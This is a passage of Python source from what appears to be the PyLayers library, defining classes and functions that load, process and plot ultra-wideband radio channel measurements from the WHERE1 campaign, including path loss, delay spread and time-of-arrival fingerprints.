2354082.3791]) - p0 Tx[321, :] = np.array([298629.2348, 2354082.3807]) - p0 Tx[322, :] = np.array([298629.2770, 2354081.3799]) - p0 Tx[323, :] = np.array([298628.2694, 2354081.3802]) - p0 Tx[324, :] = np.array([298627.2663, 2354081.3675]) - p0 Tx[325, :] = np.array([298628.3160, 2354080.3775]) - p0 Tx[326, :] = np.array([298629.3220, 2354080.3841]) - p0 Tx[327, :] = np.array([298630.3279, 2354080.3862]) - p0 Tx[328, :] = np.array([298630.3704, 2354079.3924]) - p0 Tx[329, :] = np.array([298629.3623, 2354079.3802]) - p0 Tx[330, :] = np.array([298628.3342, 2354079.3824]) - p0 Tx[331, :] = np.array([298628.3749, 2354078.3795]) - p0 Tx[332, :] = np.array([298629.3982, 2354078.3895]) - p0 Tx[333, :] = np.array([298630.6250, 2354085.4334]) - p0 Tx[334, :] = np.array([298630.1148, 2354085.4346]) - p0 Tx[335, :] = np.array([298629.5977, 2354085.4260]) - p0 Tx[336, :] = np.array([298629.0921, 2354085.4069]) - p0 Tx[337, :] = np.array([298628.5832, 2354085.3937]) - p0 Tx[338, :] = np.array([298628.0748, 2354085.3920]) - p0 Tx[339, :] = np.array([298627.5699, 2354085.3777]) - p0 Tx[340, :] = np.array([298627.0581, 2354085.3496]) - p0 Tx[341, :] = np.array([298627.0440, 2354085.8594]) - p0 Tx[342, :] = np.array([298627.5491, 2354085.8708]) - p0 Tx[343, :] = np.array([298628.0570, 2354085.8833]) - p0 Tx[344, :] = np.array([298628.5701, 2354085.8841]) - p0 Tx[345, :] = np.array([298629.0761, 2354085.8861]) - p0 Tx[346, :] = np.array([298629.5895, 2354085.8885]) - p0 Tx[347, :] = np.array([298630.1016, 2354085.8637]) - p0 Tx[348, :] = np.array([298630.6107, 2354085.9368]) - p0 Tx[349, :] = np.array([298630.5969, 2354086.4495]) - p0 Tx[350, :] = np.array([298630.0616, 2354086.3773]) - p0 Tx[351, :] = np.array([298629.5689, 2354086.3965]) - p0 Tx[352, :] = np.array([298629.0546, 2354086.4048]) - p0 Tx[353, :] = np.array([298628.5498, 2354086.3892]) - p0 Tx[354, :] = np.array([298628.0564, 2354086.3965]) - p0 Tx[355, :] = np.array([298627.5584, 2354086.3823]) - p0 Tx[356, :] = np.array([298627.0596, 2354086.3679]) - p0 Tx[357, :] = np.array([298627.0814, 2354087.9662]) - p0 Tx[358, :] = np.array([298627.5875, 2354087.9724]) - p0 Tx[359, :] = np.array([298630.0659, 2354086.8908]) - p0 Tx[360, :] = np.array([298630.5976, 2354086.9659]) - p0 Tx[361, :] = np.array([298630.6216, 2354087.4763]) - p0 Tx[362, :] = np.array([298630.6231, 2354087.9851]) - p0 Tx[363, :] = np.array([298630.1070, 2354087.9773]) - p0 Tx[364, :] = np.array([298630.6289, 2354088.4926]) - p0 Tx[365, :] = np.array([298630.6374, 2354089.0000]) - p0 Tx[366, :] = np.array([298630.1284, 2354089.0167]) - p0 Tx[367, :] = np.array([298630.1131, 2354088.4647]) - p0 Tx[368, :] = np.array([298629.5976, 2354088.4960]) - p0 Tx[369, :] = np.array([298629.6156, 2354089.0127]) - p0 Tx[370, :] = np.array([298629.1024, 2354089.0193]) - p0 Tx[371, :] = np.array([298629.0885, 2354088.4984]) - p0 Tx[372, :] = np.array([298628.5778, 2354088.5128]) - p0 Tx[373, :] = np.array([298628.6028, 2354089.0272]) - p0 Tx[374, :] = np.array([298628.0993, 2354089.0330]) - p0 Tx[375, :] = np.array([298628.0736, 2354088.4813]) - p0 Tx[376, :] = np.array([298627.5638, 2354088.4844]) - p0 return(Tx, Rx) def visibility(): """ determine visibility type of WHERE1 measurements campaign points Returns ------- visi visibility status of each link Warning ------- This should be done automatically in the future """ R1 = [] for i in range(1, 232): R1.append('NLOS2') for i in range(1, 24): R1.append('NLOS') for i in range(1, 43): R1.append('LOS') for i in range(1, 81): R1.append('NLOS2') R1[330] = 'NLOS' R2 = [] for i in range(1, 82): R2.append('NLOS2') for i in range(1, 52): R2.append('NLOS') for i in range(1, 100): R2.append('LOS') for i in range(1, 3): R2.append('NLOS') for i in range(1, 144): R2.append('NLOS2') R2[121] = 'NLOS2' R2[122] = 'NLOS2' R2[123] = 'NLOS2' R2[124] = 'NLOS2' R2[125] = 'NLOS2' R2[127] = 'NLOS2' R3 = [] for i in range(1, 106): R3.append('NLOS2') for i in range(1, 17): R3.append('NLOS') for i in range(1, 12): R3.append('NLOS2') for i in range(1, 100): R3.append('LOS') for i in range(1, 146): R3.append('NLOS2') R3[107] = 'NLOS2' R3[130] = 'NLOS' R3[131] = 'NLOS' R3[209] = 'NLOS2' R3[210] = 'NLOS2' R3[216] = 'NLOS2' R3[217] = 'NLOS2' R3[218] = 'NLOS2' R3[219] = 'NLOS2' R3[220] = 'NLOS2' R3[225] = 'NLOS2' R3[226] = 'NLOS2' R3[227] = 'NLOS2' R3[228] = 'NLOS2' R3[229] = 'NLOS2' R3[230] = 'NLOS2' R4 = [] for i in range(1, 82): R4.append('NLOS') for i in range(1, 41): R4.append('LOS') for i in range(1, 12): R4.append('NLOS') for i in range(1, 6): R4.append('NLOS2') for i in range(1, 9): R4.append('NLOS') for i in range(1, 18): R4.append('NLOS2') for i in range(1, 70): R4.append('NLOS') for i in range(1, 146): R4.append('NLOS2') visi = [] visi.append(R1) visi.append(R2) visi.append(R3) visi.append(R4) return visi def trait(filename, itx=np.array([]), dico={}, h=1): """ evaluate various parameters for all measures in itx array Parameters ---------- filename itx dico h height (default h1) Notes ----- F['PL_FS_Rx1'] = -20*log10(((0.3/f)/(4*pi*M.de[0]*0.3))) F['PL_FS_Rx2'] = -20*log10(((0.3/f)/(4*pi*M.de[1]*0.3))) F['PL_FS_Rx3'] = -20*log10(((0.3/f)/(4*pi*M.de[2]*0.3))) F['PL_FS_Rx4'] = -20*log10(((0.3/f)/(4*pi*M.de[3]*0.3))) """ F = {} #F['PL'] = {} F['Et'] = {} F['Es'] = {} F['Ef'] = {} F['dist'] = {} F['tau1'] = {} F['taumax'] = {} F['taurms'] = {} F['taumoy'] = {} F['los'] = {} F['lqi'] = {} for i in itx: iTx = dico[i] try: M = UWBMeasure(iTx, h) #f,pl = M.tdd.PL(2,6,0.02) #F['PL'] = appendlink(F['PL'],pl) etot = M.Etot() try: F['Tx'] = np.vstack((F['Tx'], M.tx)) except: F['Tx'] = M.tx F['Et'] = appendlink(F['Et'], etot) emax = M.Emax() F['Es'] = appendlink(F['Es'], emax) dist = M.de * 0.3 F['dist'] = appendlink(F['dist'], dist) efirst = M.Efirst() F['Ef'] = appendlink(F['Ef'], efirst) tau1 = M.toa_win() F['tau1'] = appendlink(F['tau1'], tau1) taurms = M.tau_rms() F['taurms'] = appendlink(F['taurms'], taurms) taumoy = M.tau_moy() F['taumoy'] = appendlink(F['taumoy'], taumoy) taumax = M.taumax() F['taumax'] = appendlink(F['taumax'], taumax) lqi = M.lqi F['lqi'] = appendlink(F['lqi'], lqi) los = M.type vlos = zeros(4) if los[0] == 'LOS': vlos[0] = 1 else: vlos[0] = 0 if los[1] == 'LOS': vlos[1] = 1 else: vlos[1] = 0 if los[2] == 'LOS': vlos[2] = 1 else: vlos[2] = 0 if los[3] == 'LOS': vlos[3] = 1 else: vlos[3] = 0 F['los'] = appendlink(F['los'], vlos) except: pass F['Rx'] = M.rx io.savemat(filename, F) return(F) class RAW_DATA(PyLayers): """ Members ------- ch1 ch2 ch3 ch4 time timeTX tx """ def __init__(self, d): #self.time = d.Time[0] #self.ch1 = d.CH1[0] #self.ch2 = d.CH2[0] #self.ch3 = d.CH3[0] #self.ch4 = d.CH4[0] #self.timetx = d.TimeTX[0] #self.tx = d.TX[0] self.time = d[0] self.ch1 = d[1] self.ch2 = d[2] self.ch3 = d[3] self.ch4 = d[4] self.timetx = d[5] self.tx = d[6] class CAL_DATA(PyLayers): """ CAL_DATA ch1 ch2 ch3 ch4 vna_att1 vna_att2 vna_freq """ def __init__(self, d): """ depending of the version of scipy io.loadma do not give the same output """ #self.ch1 = d.CH1 #self.ch2 = d.CH2 #self.ch3 = d.CH3 #self.ch4 = d.CH4 #self.vna_freq = d.VNA_Freq #self.vna_att1 = d.VNA_Attenuator1 #self.vna_att2 = d.VNA_Attenuator2 self.ch1 = d[0] self.ch2 = d[1] self.ch3 = d[2] self.ch4 = d[3] self.vna_freq = d[4] self.vna_att1 = d[5] self.vna_att2 = d[6] def plot(self): plt.plot(self.ch1) plt.show() def getwave(self): """ getwave """ # # place a window on each channel # s1 = self.ch1 s2 = self.ch2 class Fdd(PyLayers): """ Frequency Domain Deconv Data Attributes ---------- ch1 channel 1 ch2 channel 2 ch3 channel 3 ch4 channel 4 freq frequency tx Methods ------- plot """ def __init__(self, d): """ """ #self.freq = d.Freq[0]*1e-9 #self.ch1 = d.CH1[0] #self.ch2 = d.CH2[0] #self.ch3 = d.CH3[0] #self.ch4 = d.CH4[0] #self.tx = d.TX[0] self.freq = d[0][0] * 1e-9 self.ch1 = d[1][0] self.ch2 = d[2][0] self.ch3 = d[3][0] self.ch4 = d[4][0] self.tx = d[5][0] def plot(self, typ='moddB'): """ plot Fdd Parameters ---------- typ : string 'moddB' : modulus in dB , 'mod', : modulus in linear scale, 'ang' : unwraped phase in radians Examples -------- .. plot:: :include-source: >>> from pylayers.util.project import * >>> from pylayers.measures.mesuwb import * >>> import matplotlib.pylab as plt >>> M = UWBMeasure(1) >>> F = M.fdd >>> fig = plt.figure() >>> F.plot('moddB') >>> fig = plt.figure() >>> F.plot('mod') >>> F.plot('ang') """ f = self.freq if (typ == 'moddB'): v1 = 20 * np.log10(abs(self.ch1)) v2 = 20 * np.log10(abs(self.ch2)) v3 = 20 * np.log10(abs(self.ch3)) v4 = 20 * np.log10(abs(self.ch4)) if (typ == 'mod'): v1 = abs(self.ch1) v2 = abs(self.ch2) v3 = abs(self.ch3) v4 = abs(self.ch4) if (typ == 'ang'): v1 = np.unwrap(np.angle(self.ch1)) v2 = np.unwrap(np.angle(self.ch2)) v3 = np.unwrap(np.angle(self.ch3)) v4 = np.unwrap(np.angle(self.ch4)) plt.subplot(221) plt.plot(f, v1) plt.xlabel('Freq (GHz)') plt.title('CH1') plt.subplot(222) plt.plot(f, v2) plt.xlabel('Freq (GHz)') plt.title('CH2') plt.subplot(223) plt.plot(f, v3) plt.xlabel('Freq (GHz)') plt.title('CH3') plt.subplot(224) plt.plot(f, v4) plt.xlabel('Freq (GHz)') plt.title('CH4') plt.show() class Tdd(PyLayers): """ Time Domain Deconv Data Attributes ---------- ch1 signal on channel 1 (ch.TUchannel) ch2 signal on channel 2 (ch.TUchannel) ch3 signal on channel 3 (ch.TUchannel) ch4 signal on channel 4 (ch.TUchannel) tx exitation waveform ( Impulse feeding Tx antenna) (bs.TUsignal) time is expressed in nano seconds Methods ------- PL Calculate NB Path Loss on a given UWB frequency band box return min and max value show display the 4 channels show_span(delay,wide) """ def __init__(self,d): t = d[0][0] * 1e9 self.ch3 = ch.TUchannel(x=t, y=d[1][0]) self.ch4 = ch.TUchannel(x=t, y=d[2][0]) self.ch1 = ch.TUchannel(x=t, y=d[3][0]) self.ch2 = ch.TUchannel(x=t, y=d[4][0]) self.tx = ch.TUchannel(t, d[5][0]) def PL(self, fmin, fmax, B): """ Calculate NB Path Loss on a given UWB frequency band Parameters ---------- fmin start frequency GHz fmax stop frequency GHz B NB bandwith (GHz) Examples -------- .. plot:: :include-source: >>> from pylayers.util.project import * >>> from pylayers.measures.mesuwb import * >>> import matplotlib.pylab as plt >>> M = UWBMeasure(1) >>> T = M.tdd >>> freq,pl = T.PL(3,7,10) """ S1 = self.ch1.fft() S2 = self.ch2.fft() S3 = self.ch3.fft() S4 = self.ch4.fft() df = S4.x[1] - S4.x[0] Stx = self.tx.fft() freq = np.arange(fmin, fmax, B) N = len(freq) i_start = np.nonzero( (S1.x >= fmin - df / 2.) & (S1.x < fmin + df / 2.)) i_stop = np.nonzero( (S1.x >= fmax - df / 2.) & (S1.x < fmax + df / 2.)) f = S1.x[i_start[0][0]:i_stop[0][0]] for k in range(N): u = np.nonzero((f >= fmin + k * B) & (f < fmin + (k + 1) * B)) Et = 10 * np.log10(np.sum(Stx.y[u[0]] * np.conj( Stx.y[u[0]]))).astype('float') Er1 = 10 * np.log10(np.sum( S1.y[u[0]] * np.conj(S1.y[u[0]]))).astype('float') Er2 = 10 * np.log10(np.sum( S2.y[u[0]] * np.conj(S2.y[u[0]]))).astype('float') Er3 = 10 * np.log10(np.sum( S3.y[u[0]] * np.conj(S3.y[u[0]]))).astype('float') Er4 = 10 * np.log10(np.sum( S4.y[u[0]] * np.conj(S4.y[u[0]]))).astype('float') PL1 = Et - Er1 PL2 = Et - Er2 PL3 = Et - Er3 PL4 = Et - Er4 try: pl = np.vstack((pl, np.array([PL1, PL2, PL3, PL4]))) except: pl = np.array([PL1, PL2, PL3, PL4]) return(freq, pl) def show(self, fig = [], delay=np.array([[0], [0], [0], [0]]), display=True, title=['Rx1', 'Rx2', 'Rx3', 'Rx4'], col=['k', 'b', 'g', 'c'], xmin=0, xmax=200,typ='v'): """ show the 4 Impulse Radio Impulse responses Parameters ---------- delay delay values to be displayed vertically [tau0 - toa_th toa_cum toa_max , taum-taurms taum+taurms] display if display == False the first subplot is reserved for displaying the Layout Examples -------- .. plot:: :include-source: >>> from pylayers.measures.mesuwb import * >>> import matplotlib.pylab as plt >>> ntx = 2 >>> M = UWBMeasure(ntx) >>> T = M.tdd >>> fig = plt.figure() >>> t = plt.title('test Tdd.show Tx='+str(ntx)) >>> T.show() """ if fig == []: f = plt.gcf() else: f = fig #plt.axis([0,200,-2,2]) self.ch1.zlr(xmin, xmax) self.ch2.zlr(xmin, xmax) self.ch3.zlr(xmin, xmax) self.ch4.zlr(xmin, xmax) a1 = f.add_subplot(4, 1, 1) f,a = self.ch1.plot(color=col[0], vline=np.array([delay[0]]),fig=f,ax=a1,typ=typ,unit2='mV') a1.set_title(title[0]) a2 = f.add_subplot(4, 1, 2,sharex=a1) f,a= self.ch2.plot(color=col[1], vline=np.array([delay[1]]),fig=f,ax=a2,typ=typ,unit2='mV') a2.set_title(title[1]) a3 = f.add_subplot(4, 1, 3,sharex=a1) f,a = self.ch3.plot(color=col[2], vline=np.array([delay[2]]),fig=f,ax=a3,typ=typ,unit2='mV') a3.set_title(title[2]) a4 = f.add_subplot(4, 1, 4,sharex=a1) f,a = self.ch4.plot(color=col[3], vline=np.array([delay[3]]),fig=f, ax=a4,typ=typ,unit2='mV') a4.set_title(title[3]) if display: plt.show() return f,a4 def show_span(self, delay=np.array([0, 0, 0, 0]), wide=np.array([0, 0, 0, 0])): """ show span Examples -------- .. plot:: :include-source: >>> from pylayers.util.project import * >>> from pylayers.measures.mesuwb import * >>> M = UWBMeasure(2) >>> T = M.tdd >>> s1 = T.show_span() >>> plt.show() """ fig = plt.figure() sp1 = fig.add_subplot(221) plt.plot(self.ch1.x, self.ch1.y) plt.axvspan(delay[0] - wide[0] / 2, delay[0] + wide[0] / 2, facecolor='g', alpha=0.5) plt.xlabel('Time (ns)') plt.title('Rx1') sp2 = fig.add_subplot(222) plt.plot(self.ch2.x, self.ch2.y) plt.axvspan(delay[1] - wide[1] / 2, delay[1] + wide[1] / 2, facecolor='g', alpha=0.5) plt.xlabel('Time (ns)') plt.title('Rx2') plt.sp3 = fig.add_subplot(223) plt.plot(self.ch3.x, self.ch3.y) plt.axvspan(delay[2] - wide[2] / 2, delay[2] + wide[2] / 2, facecolor='g', alpha=0.5) plt.xlabel('Time (ns)') plt.title('Rx3') sp4 = fig.add_subplot(224) plt.plot(self.ch4.x, self.ch4.y) plt.axvspan(delay[3] - wide[3] / 2, delay[3] + wide[3] / 2, facecolor='g', alpha=0.5) plt.xlabel('Time (ns)') plt.title('Rx4') plt.show() return(fig) def box(self): """ evaluate min and max of the 4 channels Examples -------- >>> from pylayers.measures.mesuwb import * >>> M = UWBMeasure(1) >>> T = M.tdd >>> bo = T.box() """ max1 = max(self.ch1.y) min1 = min(self.ch1.y) max2 = max(self.ch2.y) min2 = min(self.ch2.y) max3 = max(self.ch3.y) min3 = min(self.ch3.y) max4 = max(self.ch4.y) min4 = min(self.ch4.y) ma = max(max1, max2, max3, max4) mi = min(min1, min2, min3, min4) b = np.array([mi, ma]) return(b) def plot(self, type='raw'): """ type : raw | filter """ b = self.box() t = self.time * 1e9 tmin = min(t) tmax = max(t) ymin = b[0] ymax = b[1] ax = [tmin, tmax, ymin, ymax] s1 = self.ch1 s2 = self.ch2 s3 = self.ch3 s4 = self.ch4 if type == 'filter': [b, a] = signal.butter(5, 0.2) [w, h] = signal.freqz(b, a) plt.plot(w, abs(h)) plt.show() s1 = signal.lfilter(b, a, s1) s2 = signal.lfilter(b, a, s2) s3 = signal.lfilter(b, a, s3) s4 = signal.lfilter(b, a, s4) plt.subplot(221) plt.plot(t, s1) plt.xlabel('Time (ns)') plt.title('CH1') plt.axis(ax) plt.subplot(222) plt.plot(t, s2) plt.xlabel('Time (ns)') plt.title('CH2') plt.axis(ax) plt.subplot(223) plt.plot(t, s3) plt.xlabel('Time (ns)') plt.title('CH3') plt.axis(ax) plt.subplot(224) plt.plot(t, s4) plt.xlabel('Time (ns)') plt.title('CH4') plt.axis(ax) plt. show() class TFP(object): """ Tx Rx distance los_cond Etot Emax Etau0 tau_moy tau_rms Epercent toa_max toa_th toa_cum angular """ def __init__(self): self.metadata = {} self.metadata['Tx'] = np.array([]).reshape(3, 0) self.metadata['Rx'] = np.array([]).reshape(3, 0) self.metadata['distance'] = np.array([]) self.metadata['los_cond'] = np.parray([]) self.chan_param = {} self.chan_param['Etot'] = np.array([]) self.chan_param['Emax'] = np.array([]) self.chan_param['Etau0'] = np.array([]) self.chan_param['tau_moy'] = np.array([]) self.chan_param['tau_rms'] = np.array([]) self.chan_param['Epercent'] = np.array([]) self.chan_param['toa_max'] = np.array([]) self.chan_param['toa_th'] = np.array([]) self.chan_param['toa_cum'] = np.array([]) self.chan_param['toa_new'] = np.array([]) self.chan_param['toa_win'] = np.array([]) self.chan_param['toa_seu'] = np.array([]) self.chan_param['angular'] = np.array([]) def append(self, FP): """ append data to fingerprint Parameters ---------- FP """ tx = FP.metadata['Tx'].reshape(3, 1) rx = FP.metadata['Rx'].reshape(3, 1) self.metadata['Tx'] = hstack((self.metadata['Tx'], tx)) self.metadata['Rx'] = hstack((self.metadata['Rx'], rx)) self.metadata['distance'] = hstack( (self.metadata['distance'], FP.metadata['distance'])) self.metadata['delay'] = hstack( (self.metadata['delay'], FP.metadata['delay'])) self.metadata['los_cond'] = hstack( (self.metadata['los_cond'], FP.metadata['los_cond'])) self.metadata['angular'] = hstack( (self.metadata['angular'], FP.metadata['angular'])) self.chan_param['Etot'] = hstack( (self.chan_param['Etot'], FP.chan_param['Etot'])) self.chan_param['Emax'] = hstack( (self.chan_param['Emax'], FP.chan_param['Emax'])) self.chan_param['Etau0'] = hstack( (self.chan_param['Etau0'], FP.chan_param['Etau0'])) self.chan_param['tau_moy'] = hstack( (self.chan_param['tau_moy'], FP.chan_param['tau_moy'])) self.chan_param['tau_rms'] = hstack( (self.chan_param['tau_rms'], FP.chan_param['tau_rms'])) self.chan_param['Epercent'] = hstack( (self.chan_param['Epercent'], FP.chan_param['Epercent'])) self.chan_param['toa_max'] = hstack( (self.chan_param['toa_max'], FP.chan_param['toa_max'])) self.chan_param['toa_th'] = hstack( (self.chan_param['toa_th'], FP.chan_param['toa_th'])) self.chan_param['toa_cum'] = hstack( (self.chan_param['toa_cum'], FP.chan_param['toa_cum'])) #self.chan_param['toa_cum_tmtm']=hstack((self.chan_param['toa_cum_tmtm'],FP.chan_param['toa_cum_tmtm'])) #self.chan_param['toa_cum_tm']=hstack((self.chan_param['toa_cum_tm'],FP.chan_param['toa_cum_tm'])) #self.chan_param['toa_cum_tmt']=hstack((self.chan_param['toa_cum_tmt'],FP.chan_param['toa_cum_tmt'])) self.chan_param['toa_win'] = hstack( (self.chan_param['toa_win'], FP.chan_param['toa_win'])) self.chan_param['toa_new'] = hstack( (self.chan_param['toa_new'], FP.chan_param['toa_new'])) #self.chan_param['toa_th_tmtm']=hstack((self.chan_param['toa_th_tmtm'],FP.chan_param['toa_th_tmtm'])) #self.chan_param['toa_th_tm']=hstack((self.chan_param['toa_th_tm'],FP.chan_param['toa_th_tm'])) #self .chan_param['toa_th_tmt']=hstack((self.chan_param['toa_th_tmt'],FP.chan_param['toa_th_tmt'])) class FP(object): """ Fingerprint class Rxid : 1 | 2 | 3 | 4 alpha : pdf percentile to suppress below and above (used in tau_rms and tau_moy) Tint : Integration time for Emax (ns) Tsym : Integration symetry default (0.25 | 0,75) nint : number of interval for toa_max thlos : threshold for los case toa_th thnlos : threshold for nlos case toa_th thcum : threshold for toa_cum This method build the Fingerprint from UWBMeasure M - Rx number k Attributes ---------- metadata : dictionnary Tx Rx distance (m) type chan_param : dictionnary Etot Emax Etau0 tau_moy tau_rms Epercent toa_max toa_th toa_cum """ def __init__(self, M, k, alpha=0.1, Tint=0.225, sym=0.25, nint=8, thlos=0.05, thnlos=0.15, thcum=0.15, w=6): """ object constructor Parameters ---------- M : UWB Mesure k : int Rx index alpha : quantile parameter 0.1 Tint : Integation time (ns) 0.225 sym : float 0.25 nint : int 8 thlos : float w : w """ # # Metadata : general parameters links to measurement configuration # self.metadata = {} self.metadata['Tx'] = M.tx self.metadata['Rx'] = M.rx[k, :] self.metadata['distance'] = M.de[k - 1] * 0.3 self.metadata['delay'] = M.de[k - 1] self.metadata['los_cond'] = M.type[k - 1] self.metadata['angular'] = M.ag[k - 1] # # Chan_param : radio channel features # self.chan_param = {} if k == 1: Etot = M.tdd.ch1.Etot(tau0=M.de[0], dB=True) Emax = M.tdd.ch1.Emax(Tint, sym, dB=True) #Etot = M.tdd.ch1.Etot(tau0=M.de[0],dB=False) #Emax = M.tdd.ch1.Emax(Tint,sym,dB=False) Etau0 = M.tdd.ch1.Etau0(tau0=M.de[0]) tau_moy = M.tdd.ch1.tau_moy(alpha) tau_rms = M.tdd.ch1.tau_rms(alpha) Epercent = M.tdd.ch1.Epercent() toa_max = M.tdd.ch1.toa_max(nint) toa_th = M.tdd.ch1.toa_th(thlos, thnlos, visibility=M.type[0]) toa_cum = M.tdd.ch1.toa_cum(thcum) #toa_cum_tmtm = M.tdd.ch1.toa_cum_tmtm() #toa_cum_tm = M.tdd.ch1.toa_cum_tm() #toa_cum_tmt = M.tdd.ch1.toa_cum_tmt() #toa_new = M.tdd.ch1.toa_new() toa_win = M.tdd.ch1.toa_win(w) #toa_th_tmtm = M.tdd.ch1.toa_th_tmtm() #toa_th_tm = M.tdd.ch1.toa_th_tm() #toa_th_tmt = M.tdd.ch1.toa_th_tmt() if k == 2: Etot = M.tdd.ch2.Etot(tau0=M.de[1], dB=True) Emax = M.tdd.ch2.Emax(Tint, sym, dB=True) #Etot = M.tdd.ch2.Etot(tau0=M.de[1],dB=False) #Emax = M.tdd.ch2.Emax(Tint,sym,dB=False) Etau0 = M.tdd.ch2.Etau0(tau0=M.de[1]) tau_moy = M.tdd.ch2.tau_moy(alpha) tau_rms = M.tdd.ch2.tau_rms(alpha) Epercent = M.tdd.ch2.Epercent() toa_max = M.tdd.ch2.toa_max(nint) toa_th = M.tdd.ch2.toa_th(thlos, thnlos, visibility=M.type[1]) toa_cum = M.tdd.ch2.toa_cum(thcum) #toa_cum_tmtm = M.tdd.ch2.toa_cum_tmtm() #toa_cum_tm = M.tdd.ch2.toa_cum_tm() #toa_cum_tmt = M.tdd.ch2.toa_cum_tmt() #toa_new = M.tdd.ch2.toa_new() toa_win = M.tdd.ch2.toa_win(w) #toa_th_tmtm = M.tdd.ch2.toa_th_tmtm() #toa_th_tm = M.tdd.ch2.toa_th_tm() #toa_th_tmt = M.tdd.ch2.toa_th_tmt() if k == 3: Etot = M.tdd.ch3.Etot(tau0=M.de[2], dB=True) Emax = M.tdd.ch3.Emax(Tint, sym, dB=True) #Etot = M.tdd.ch3.Etot(tau0=M.de[2],dB=False) #Emax = M.tdd.ch3.Emax(Tint,sym,dB=False) Etau0 = M.tdd.ch3.Etau0(tau0=M.de[2]) tau_moy = M.tdd.ch3.tau_moy(alpha) tau_rms = M.tdd.ch3.tau_rms(alpha) Epercent = M.tdd.ch3.Epercent() toa_max = M.tdd.ch3.toa_max(nint) toa_th = M.tdd.ch3.toa_th(thlos, thnlos, visibility=M.type[2]) toa_cum = M.tdd.ch3.toa_cum(thcum) #toa_cum_tmtm = M.tdd.ch3.toa_cum_tmtm() #toa_cum_tm = M.tdd.ch3.toa_cum_tm() #toa_cum_tmt = M.tdd.ch3.toa_cum_tmt() #toa_new = M.tdd.ch3.toa_new() toa_win = M.tdd.ch3.toa_win(w) #toa_th_tmtm = M.tdd.ch3.toa_th_tmtm() #toa_th_tm = M.tdd.ch3.toa_th_tm() #toa_th_tmt = M.tdd.ch3.toa_th_tmt() if k == 4: Etot = M.tdd.ch4.Etot(tau0=M.de[3], dB=True) Emax = M.tdd.ch4.Emax(Tint, sym, dB=True) #Etot = M.tdd.ch4.Etot(tau0=M.de[3],dB=False) #Emax = M.tdd.ch4.Emax(Tint,sym,dB=False) Etau0 = M.tdd.ch4.Etau0(tau0=M.de[3]) tau_moy = M.tdd.ch4.tau_moy(alpha) tau_rms = M.tdd.ch4.tau_rms(alpha) Epercent = M.tdd.ch4.Epercent() toa_max = M.tdd.ch4.toa_max(nint) toa_th = M.tdd.ch4.toa_th(thlos, thnlos, visibility=M.type[3]) toa_cum = M.tdd.ch4.toa_cum(thcum) #toa_cum_tmtm = M.tdd.ch4.toa_cum_tmtm() #toa_cum_tm = M.tdd.ch4.toa_cum_tm() #toa_cum_tmt = M.tdd.ch4.toa_cum_tmt() #toa_new = M.tdd.ch4.toa_new() toa_win = M.tdd.ch4.toa_win(w) #toa_th_tmtm = M.tdd.ch4.toa_th_tmtm() #toa_th_tm = M.tdd.ch4.toa_th_tm() #toa_th_tmt = M.tdd.ch4.toa_th_tmt() self.chan_param['Etot'] = Etot self.chan_param['Emax'] = Emax self.chan_param['Etau0'] = Etau0 self.chan_param['tau_moy'] = tau_moy self.chan_param['tau_rms'] = tau_rms self.chan_param['Epercent'] = Epercent self.chan_param['toa_max'] = toa_max self.chan_param['toa_th'] = toa_th self.chan_param['toa_cum'] = toa_cum #self.chan_param['toa_cum_tmtm']=toa_cum_tmtm #self.chan_param['toa_cum_tm']=toa_cum_tm #self.chan_param['toa_cum_tmt']=toa_cum_tmt #self.chan_param['toa_new']=toa_new self.chan_param['toa_win'] = toa_win #self.chan_param['toa_th_tmtm']=toa_th_tmtm #self.chan_param['toa_th_tm']=toa_th_tm #self. chan_param['toa_th_tmt']=toa_th_tmt #\hline #\hline #$E_{tot}$ & ~& & & \\ #\hline # & & & & \\ # \hline # & & & & \\ # \hline # & & & & #\\ #\hline # & & & & #\\ #\hline # & & & & #\\ #\hline # & & & & #\\ #\hline # & & & & #\\ #\hline #\end{supertabular} #\end{center} #\bigskip class UWBMeasure(PyLayers): """ UWBMeasure class Attributes ---------- tdd Time domain deconv data fdd Freq domain deconv data Date_Time LQI Operators RAW_DATA CAL_DATAip Tx_height Tx_position Methods ------- info() : show() emax() etot() TDoA() Fingerprint() fp() : calculate fingerprint TOA() Notes ----- """ def __init__(self, nTx=1, h=1, display=False): """ object constructor Parameters ---------- nTx : int Tx index h : int height indicator (default 1 - 1.2m) 0 - 1.5 m Examples -------- .. plot:: :include-source: >>> from pylayers.measures.mesuwb import * >>> M1 = UWBMeasure(1) >>> f,a = M1.show() """ super(UWBMeasure,self).__init__() self.validindex = [1,2,3,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42, 43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61, 62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,89,90,91,92,93,94,95,96,97,98,99,100,101,103, 104,105,106,107,108,109,110,111,113,114,116,117,119,120,122, 123,124,125,126,127,128,129,133,134,136,137,138,139,140,141, 142,143,144,145,146,147,162,163,164,165,166,167,168,169,170, 171,172,173,174,175,176,177,179,180,181,182,183,184,185,186, 188,189,199,200,201,202,203,204,205,206,207,208,209,210,211, 212,213,214,215,216,217,218,219,220,221,222,223,227,228,229, 230,231,232,233,234,235,236,237,238,239,240,241,242,243,244, 245,246,247,248,249,250,251,252,253,258,259,266,267,268,269, 270,271,272,273,274,275,276,277,278,279,297,298,299,300,301, 302,303,304,305,306,307,308,309,310,311,312,313,314,315,316, 317,318,319,320,321,322,323,324,325,326,327,328,329,330,332, 333,334,335,336,337,338,339,340,341,342,343,344,345,346,347, 348,349,350,351,352,353,354,355,356,360,361,362,363,364,365, 366,367,368,369,370,371,372,373,374,375] # Raw data matlab file reading Tx, Rx = ptw1() visi = visibility() if not os.path.exists(mesdir): raise AttributeError('Incorrect Measure directory set in $MESDIR') filename = mesname(nTx, mesdir, h) if os.path.exists(filename) : b = io.loadmat(filename) # Conversion self.CAL_DATA = CAL_DATA(b['CAL_DATA'][0][0]) self.RAW_DATA = RAW_DATA(b['RAW_DATA'][0][0]) #T = b['DECONV_DATA'][0][0].TIME_DOMAIN[0][0] #F = b['DECONV_DATA'][0][0].FREQ_DOMAIN[0][0] #self.tdd = Tdd(T) #self.fdd = Fdd(F) self.tdd = Tdd(b['DECONV_DATA'][0][0][0][0][0]) self.fdd = Fdd(b['DECONV_DATA'][0][0][1][0][0]) self.Date_Time = b['Date_Time'] self.LQI = {} #self.LQI['Method1_CH1']=b['LQI'][0][0].Method1_CH1[0][0] 